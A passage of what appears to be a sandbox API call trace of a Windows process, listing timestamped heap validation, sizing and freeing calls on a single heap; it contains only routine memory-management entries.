(HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b8c0) returned 1 [0132.244] GetProcessHeap () returned 0x1ae83310000 [0132.244] GetProcessHeap () returned 0x1ae83310000 [0132.244] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313b70) returned 1 [0132.244] GetProcessHeap () returned 0x1ae83310000 [0132.244] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313b70) returned 0x5a [0132.244] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313b70) returned 1 [0132.244] GetProcessHeap () returned 0x1ae83310000 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a890) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a890) returned 0x18 [0132.245] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a890) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b440) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b440) returned 0x20 [0132.245] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b440) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313bf0) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313bf0) returned 0x5c [0132.245] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313bf0) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a9d0) returned 1 [0132.245] GetProcessHeap () returned 0x1ae83310000 [0132.245] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a9d0) returned 0x18 [0132.246] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a9d0) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318da0) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318da0) returned 0x20 [0132.246] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318da0) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a830) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a830) returned 0xe [0132.246] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a830) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ab70) returned 1 [0132.246] GetProcessHeap () returned 0x1ae83310000 [0132.246] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ab70) returned 0x18 [0132.247] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ab70) returned 1 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318d70) returned 1 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318d70) returned 0x20 [0132.247] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318d70) returned 1 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83319a80) returned 1 [0132.247] GetProcessHeap () returned 0x1ae83310000 [0132.247] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83319a80) returned 0x208 [0132.248] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83319a80) returned 1 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83312130) returned 1 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83312130) returned 0x18 [0132.248] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83312130) returned 1 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318d40) returned 1 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.248] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318d40) returned 0x20 [0132.248] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318d40) returned 1 [0132.248] GetProcessHeap () returned 0x1ae83310000 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331bab0) returned 1 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331bab0) returned 0x200 [0132.249] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331bab0) returned 1 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314740) returned 1 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314740) returned 0x18 [0132.249] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314740) returned 1 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318b30) returned 1 [0132.249] GetProcessHeap () returned 0x1ae83310000 [0132.249] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318b30) returned 0x20 [0132.250] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318b30) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a9f0) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a9f0) returned 0x14 [0132.250] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a9f0) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313930) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313930) returned 0x18 [0132.250] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313930) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318b00) returned 1 [0132.250] GetProcessHeap () returned 0x1ae83310000 [0132.250] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318b00) returned 0x20 [0132.251] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318b00) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313950) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313950) returned 0x16 [0132.251] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313950) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314380) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314380) returned 0x18 [0132.251] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314380) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318bf0) returned 1 [0132.251] GetProcessHeap () returned 0x1ae83310000 [0132.251] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318bf0) returned 0x20 [0132.252] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318bf0) returned 1 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314aa0) returned 1 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314aa0) returned 0x2 [0132.252] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314aa0) returned 1 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314410) returned 1 [0132.252] GetProcessHeap () returned 0x1ae83310000 [0132.252] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314410) returned 0x20 [0132.253] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314410) returned 1 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.253] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314460) returned 1 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.253] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314460) returned 0x20 [0132.253] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314460) returned 1 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.253] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314490) returned 1 [0132.253] GetProcessHeap () returned 0x1ae83310000 [0132.254] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314490) returned 0x20 [0132.254] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314490) returned 1 [0132.254] GetProcessHeap () returned 0x1ae83310000 [0132.254] GetProcessHeap () returned 0x1ae83310000 [0132.254] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314000) returned 1 [0132.254] GetProcessHeap () returned 0x1ae83310000 [0132.254] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314000) returned 0x20 [0132.255] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314000) returned 1 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b2f0) returned 1 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b2f0) returned 0x20 [0132.255] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b2f0) returned 1 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a8f0) returned 1 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.255] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a8f0) returned 0xa [0132.255] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a8f0) returned 1 [0132.255] GetProcessHeap () returned 0x1ae83310000 [0132.256] GetProcessHeap () returned 0x1ae83310000 [0132.256] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b590) returned 1 [0132.256] GetProcessHeap () returned 0x1ae83310000 [0132.256] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b590) returned 0x20 [0132.256] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b590) returned 1 [0132.256] GetProcessHeap () returned 0x1ae83310000 [0132.256] GetProcessHeap () returned 0x1ae83310000 [0132.256] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314340) returned 1 [0132.256] GetProcessHeap () returned 0x1ae83310000 [0132.256] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314340) returned 0x30 [0132.258] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314340) returned 1 [0132.258] GetProcessHeap () returned 0x1ae83310000 [0132.258] GetProcessHeap () returned 0x1ae83310000 [0132.258] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b350) returned 1 [0132.258] GetProcessHeap () returned 0x1ae83310000 [0132.258] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b350) returned 0x20 [0132.259] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b350) returned 1 [0132.259] GetProcessHeap () returned 0x1ae83310000 [0132.259] GetProcessHeap () returned 0x1ae83310000 [0132.259] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83313c60) returned 1 [0132.259] GetProcessHeap () returned 0x1ae83310000 [0132.259] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83313c60) returned 0x30 [0132.260] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83313c60) returned 1 [0132.260] GetProcessHeap () returned 0x1ae83310000 [0132.260] GetProcessHeap () returned 0x1ae83310000 [0132.260] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b620) returned 1 [0132.260] GetProcessHeap () returned 0x1ae83310000 [0132.260] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b620) returned 0x20 [0132.261] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b620) returned 1 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ab90) returned 1 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ab90) returned 0x10 [0132.261] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ab90) returned 1 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b8f0) returned 1 [0132.261] GetProcessHeap () returned 0x1ae83310000 [0132.261] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b8f0) returned 0x20 [0132.262] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b8f0) returned 1 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a950) returned 1 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a950) returned 0x10 [0132.262] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a950) returned 1 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b5f0) returned 1 [0132.262] GetProcessHeap () returned 0x1ae83310000 [0132.262] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b5f0) returned 0x20 [0132.263] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b5f0) returned 1 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.263] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a8d0) returned 1 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.263] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a8d0) returned 0xe [0132.263] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a8d0) returned 1 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.263] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b950) returned 1 [0132.263] GetProcessHeap () returned 0x1ae83310000 [0132.264] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b950) returned 0x20 [0132.264] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b950) returned 1 [0132.264] GetProcessHeap () returned 0x1ae83310000 [0132.264] GetProcessHeap () returned 0x1ae83310000 [0132.264] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a870) returned 1 [0132.264] GetProcessHeap () returned 0x1ae83310000 [0132.265] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a870) returned 0x16 [0132.265] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a870) returned 1 [0132.265] GetProcessHeap () returned 0x1ae83310000 [0132.265] GetProcessHeap () returned 0x1ae83310000 [0132.265] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b7a0) returned 1 [0132.265] GetProcessHeap () returned 0x1ae83310000 [0132.265] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b7a0) returned 0x20 [0132.266] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b7a0) returned 1 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a8b0) returned 1 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a8b0) returned 0x16 [0132.266] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a8b0) returned 1 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331ba40) returned 1 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331ba40) returned 0x20 [0132.266] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331ba40) returned 1 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] GetProcessHeap () returned 0x1ae83310000 [0132.266] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83334e00) returned 1 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83334e00) returned 0x82 [0132.267] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83334e00) returned 1 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b650) returned 1 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b650) returned 0x20 [0132.267] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b650) returned 1 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.267] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a850) returned 1 [0132.267] GetProcessHeap () returned 0x1ae83310000 [0132.268] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a850) returned 0xe [0132.268] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a850) returned 1 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b530) returned 1 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b530) returned 0x20 [0132.268] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b530) returned 1 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314440) returned 1 [0132.268] GetProcessHeap () returned 0x1ae83310000 [0132.268] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314440) returned 0x18 [0132.269] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314440) returned 1 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314030) returned 1 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314030) returned 0x20 [0132.269] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314030) returned 1 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318ce0) returned 1 [0132.269] GetProcessHeap () returned 0x1ae83310000 [0132.269] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318ce0) returned 0x20 [0132.270] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318ce0) returned 1 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318bc0) returned 1 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318bc0) returned 0x20 [0132.270] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318bc0) returned 1 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318c80) returned 1 [0132.270] GetProcessHeap () returned 0x1ae83310000 [0132.270] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318c80) returned 0x20 [0132.271] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318c80) returned 1 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314060) returned 1 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314060) returned 0x18 [0132.271] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314060) returned 1 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318a70) returned 1 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318a70) returned 0x20 [0132.271] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318a70) returned 1 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] GetProcessHeap () returned 0x1ae83310000 [0132.271] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318aa0) returned 1 [0132.272] GetProcessHeap () returned 0x1ae83310000 [0132.272] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318aa0) returned 0x20 [0132.272] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318aa0) returned 1 [0132.272] GetProcessHeap () returned 0x1ae83310000 [0132.272] GetProcessHeap () returned 0x1ae83310000 [0132.272] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83318a40) returned 1 [0132.272] GetProcessHeap () returned 0x1ae83310000 [0132.272] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83318a40) returned 0x20 [0132.272] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83318a40) returned 1 [0132.272] GetProcessHeap () returned 0x1ae83310000 [0132.273] GetProcessHeap () returned 0x1ae83310000 [0132.273] HeapValidate 